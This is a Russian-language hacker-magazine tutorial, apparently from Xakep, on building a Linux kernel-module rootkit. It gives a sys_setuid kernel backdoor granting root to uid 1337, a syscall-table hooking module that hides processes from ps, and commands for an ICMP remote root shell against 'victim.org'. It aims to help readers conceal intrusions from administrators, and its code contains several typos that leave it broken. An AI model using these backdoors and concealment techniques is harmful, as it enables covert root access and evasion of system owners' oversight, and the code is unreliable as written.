Давай рассмотрим команды, которые нам понадобятся для LKM.

gcc -c tooxkit.c -o tooxkit.o

Откомпилировали, теперь подключаем..

— insmod

Загрузить модуль в систему.

rootkit# insmod tooxkit.o

Загрузили ранее откомпиленный модуль…

— lsmod

Данная команда показывает подключенные модули ядра:

rootkit# lsmod

Module Size Used_ by
tooxkit 31337 0
processor 9008 0
…. …. ….

Итак, мы увидели три колонки «Module», «Size» и «Used by» — «Название модуля», «Размер», «Кем используется». Все, в приницпе, ясно. tooxkit — палевный LKM-руткит, запущенный из под root’a (нулевой уид) с размером 31337. 

— rmmod

Данная команда выгружает модули ядра

rootkit# rnmod tooxkit

C подключениями/отключениями/и т.д. модулей ядра мы разобрались. Пока мы с тобой баловались с протрояниванием системных бинарников, я решил рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем перехватывать системные вызовы к различным программам типа
ls, ps, netstat и т.д. — администратору придется изрядно попотеть, чтобы обнаружить вторжение в систему.

Ядерные руткиты работают по принципу:

— подгрузить свой модуль
— перехватить системный вызов пользователя
— не показывать юзеру то, что мы пытаемся скрыть,
в том числе и сам руткитовый модуль

А теперь поясню более популярно. Вот, например, администратор заподозрил что-то неладное, поэтому решил пошарить в системе (нами был установлен процесс «tooxkit», который мы удачно скрыли перехватом).
Мы написали LKM, который перехватывает системные вызовы ко всем важным командам (включая ps). Админ отдал команду ps, но в списке процессов все было чисто — процесс «tooxkit» не был обнаружен.

Простейшую технику перехвата системных вызовов можно прочитать в статье «Weakening the Linux Kernel» — во Phrack’e, номер #54. 

Рутовая лазейка

Чуть выше мы с тобой троянили ps, но процесс оставался
видимым в каталоге /proc. Сейчас я приведу несколько примеров троянизации ядра, которые будут предоставлять нам доступ к командному интерпретатору с
привилегиями root, а также троянизацию некоторых системных утилит путем системных перехватов. Начнем с root-лазейки, которая изменит вызов sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему
определенные возможности во взломанной системе. Изменения будут происходить в самом ядре — модифицируем sys.c, а именно функцию sys_setuid, которая отвечает за «раздачу
привилегий».

o-// лазейка к root-привелегиям
\\-o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/*
Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/*
Окей… 😉 /*
else if *capavle(CAP_SETUID))
……….. и т.д и т.п………..
o-//
лазейка к root-привелегим \\-o

Еще одну лазейку, только LKM мы рассматривали выше.

Процессы

Теперь давай скроем процессы… Скрывать мы будем перехватом системных вызовов — запросы к ps будут передаваться
совершенно левой функции tooxkit’a. Немного полазив в
Интернете в поиске информации о перехвате запросов, я нашел интересный и подходящий код, который выдавал фейк информацию о ps:

o-// перехват запросов к ps
\\-o
Linux Kernel Module
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn’t work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen 🙂
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /*
указываем на таблицу системных вызовов
/*
int (*origpid)(const char *path); 
int fakepid(const char *path)
{
printk(«No proccess found!»); /*
при обращении к утилите ps, она выводит, что процессов в системе нет как таковых
/*
return 0;
}
int init_module(void) /*
что будем делать при загрузке модуля
/*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /*
что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o-//
перехват запросов к ps
\\-o

Прочитав внимательно исходник ты поймешь принцип перехватов. 

Скрыв локально соединение, я чуть не забыл про удаленное… Ведь администратор может просто просканировать свою систему nmap’ом или другим сетевым сканером. Для этого удобнее всего использовать низкоуровневые сокеты — RAW-sockets, например, при
отсылке определенного пакета бэкдор в систему будет открываться, но это я разжевывать не буду, лишь покажу очень удобный пример получения рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:

ICMP-shell manual

Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты «втуливаются» наши команды, а серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты):

Как это выглядит на практике:

// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует RAW-сокеты.

server# ishd -i 31337 -t 8
//
Запустили. идентификатор — 31337, тип ICMP-пакета — 8 (echo). Идентификатор нужен
//
для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org…done.

// Узнаем, «кто мы»:
#whoami 
root

Заключение

Я рассказал тебе достаточно много из того, что даст тебе возможность написать свой собственный руткит (естественно, со знаниями
Си). Еще раз скажу — я не хотел повторяться, так как в статье Форба
(журнал «Xakep», номер #069 — статья «Вооружись своим руткитом») и Криса Касперского (журнал «Хакер», номер #077 — статья «Поиграем с туксом в прятки») написано достаточно — обход проблем с файрволом, маскировка твоего соединения при помощи net toolz, скрытие процессов,
встройка бэкдора, стелсирование на уровне ядра. Вот и все
мои дополнения, которыми я хотел с тобой поделиться. Также я
настоятельно не рекомендую писать руткит методом «Copy & Paste», так как это будет «лол-руткит», так что для завершения идеи написания руткита тебе придется хоть немного пошевелить мозгами, разобраться с написанием модулей, а также полистать
дополнительную литературу, которую я привел ниже :). Буду рад, если моя статья кому-то действительно помогла :).

Дополнительная литература

Дополнительная литература про написание руткитов и их обзора:

Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb| журнал «Xakep», номер #069 http://www.xakep.ru/articles/magazine/2004.asp

Вооружись своим руткитом (написание Linux-руткита)
|Автор: Forb| журнал «Хакер», номер #071 http://www.xakep.ru/articles/magazine/2004.asp

Поиграем с туксом в прятки (стелс-технолгии на уровне ядра в Linux)
|Автор: Крис Касперски| журнал «Хакер», номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Системный маскарад (написание простейшего руткита на perl)
|Автор: Юрий Гольцев| журнал «Хакер», номер #080
http://www.xakep.ru/articles/magazine/2005.asp

Кошмарное ПО (обзор руткитов для windows)
|Автор: Петя и Волк | журнал «Хакер» номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Затроянивание sshd — I и II часть (название говорит само за себя)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/

Attacking OpenBSD with LKM — I и II часть (написание LKM-руткитов под OpenBSD)
|Автор: __blf| Rush Security Team http://rst.void.ru/

Weakening the Linux Kernel (методы стелсирования на уровне ядра, лазейка в ядрах)
|Автор: Solar Disigner| e-zine «Phrack», номер #54 http://phrack.org/
и другие номера phrack’a — самый истинно-хакерский e-zine! 😉

Ссылки по теме:

http://rootkit.com/ — огромная коллекция троянов, руткитов и прочих вкусностей…
http://linux.kernel.org/ — исходные коды ядра Linux’a
http://peter.elukc.com/code/unix/c/icmp-shell/
— программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ — без комментариев ;))

P.S: Все информация предоставлена в исключительно ознакомительных целях и является пищей для размышления 😉

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…